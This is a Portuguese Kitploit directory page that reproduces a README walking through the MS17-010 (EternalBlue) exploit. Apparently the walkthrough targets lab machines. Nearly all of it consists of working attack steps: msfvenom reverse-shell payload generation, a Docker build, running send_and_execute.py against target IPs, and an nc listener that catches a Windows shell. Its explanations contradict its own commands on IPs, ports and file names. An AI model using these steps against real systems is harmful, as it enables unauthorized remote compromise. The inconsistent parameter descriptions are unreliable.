Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
MS17-010_CVE-2017-0143 — MS17-010_CVE-2017-0143 | Kitploit
Ferramentas/GitHubGitHub/h3x0v3rl0rd/ms17-010_cve-2017-0143
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubh3x0v3rl0rd/ms17-010_cve-2017-0143

MS17-010_CVE-2017-0143

MS17-010_CVE-2017-0143

Ver Repositório
4014há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

MS17-010

🖥️ -h3x0v3rl0rd- #️⃣ CVE-2017-0143

Docker

Usando msfvenom para Gerar um Payload:

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe
  • -p windows/shell_reverse_tcp: Especifica o payload (um shell TCP reverso para Windows).
  • LHOST=10.10.14.4: O endereço IP do atacante (para onde o alvo irá se conectar).
  • LPORT=443: A porta na máquina do atacante para escutar a conexão.
  • -f exe: Gera o payload como um arquivo executável.
  • -a x86: Especifica a arquitetura (32 bits).
  • -o rev.exe: Salva o payload como rev.exe.

Configurando um Container Docker:

  • Por que usar Docker?
    • Docker fornece um ambiente consistente e isolado para executar o exploit.
    • Evita problemas de dependência (ex.: conflitos de versão do Python, bibliotecas ausentes).

Passos para Configurar o Docker:

root@kitploit:~
sudo apt-get install docker.io

Crie uma Estrutura de Pastas:

root@kitploit:~
mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt
  • Dockerfile: Contém instruções para construir o container Docker.
  • requirements.txt: Lista as dependências Python (ex.: impacket).

Escreva o Dockerfile:

root@kitploit:~
FROM python:2.7-alpine
RUN apk --update --no-cache add \
    git \
    zlib-dev \
    musl-dev \
    libc-dev \
    gcc \
    libffi-dev \
    openssl-dev && \
    rm -rf /var/cache/apk/*

RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt
  • FROM python:2.7-alpine: Usa uma imagem Alpine Linux leve com Python 2.7.
  • RUN apk --update --no-cache add: Instala dependências necessárias (ex.: git, gcc).
  • COPY rev.exe /opt/cattime: Copia o executável do shell reverso (rev.exe) para o container.
  • RUN pip install -r requirements.txt: Instala as dependências Python (ex.: impacket).

Construa o Container Docker:

root@kitploit:~
sudo docker build -t exploit .

Execute o Container:

root@kitploit:~
sudo docker run -it exploit /bin/sh

Baixando e Executando o Exploit:

root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
root@kitploit:~
cd MS17-010_CVE-2017-0143
root@kitploit:~
python send_and_execute.py 10.10.10.4 ../ms17-010.exe

Shell Reverso:

root@kitploit:~
nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.4] 1035
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Métodos Antigos

Método 1

root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe

crie um listener nc

root@kitploit:~
nc -nlvp 1337

exploit

root@kitploit:~
python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe

image

Caso você obtenha um erro como este, siga estas etapas:

root@kitploit:~
cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket

Agora podemos executar o exploit: image

image

Método 2

Agora este exploit foi criado em python2 e requer algumas bibliotecas como impacket, pycrypto. Para isso, um ambiente virtual deve ser configurado, e o programa virtualenv ajuda nisso. Uma vez que o ambiente é criado, você pode ativá-lo usando o utilitário source. Aqui, python2 é usado como interpretador porque no Kali mais recente o python3 é definido como interpretador global e nosso exploit está em python2.

Por que usamos ambiente virtual? Para isso, você pode conferir este link: https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/

root@kitploit:~
virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto

image

image

root@kitploit:~
python checker.py 10.10.10.4

image

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe

image

root@kitploit:~
python send_and_execute.py 10.10.10.4 shell.exe 445 browser

image

root@kitploit:~
nc -nlvp 4445

image

Baixar ferramenta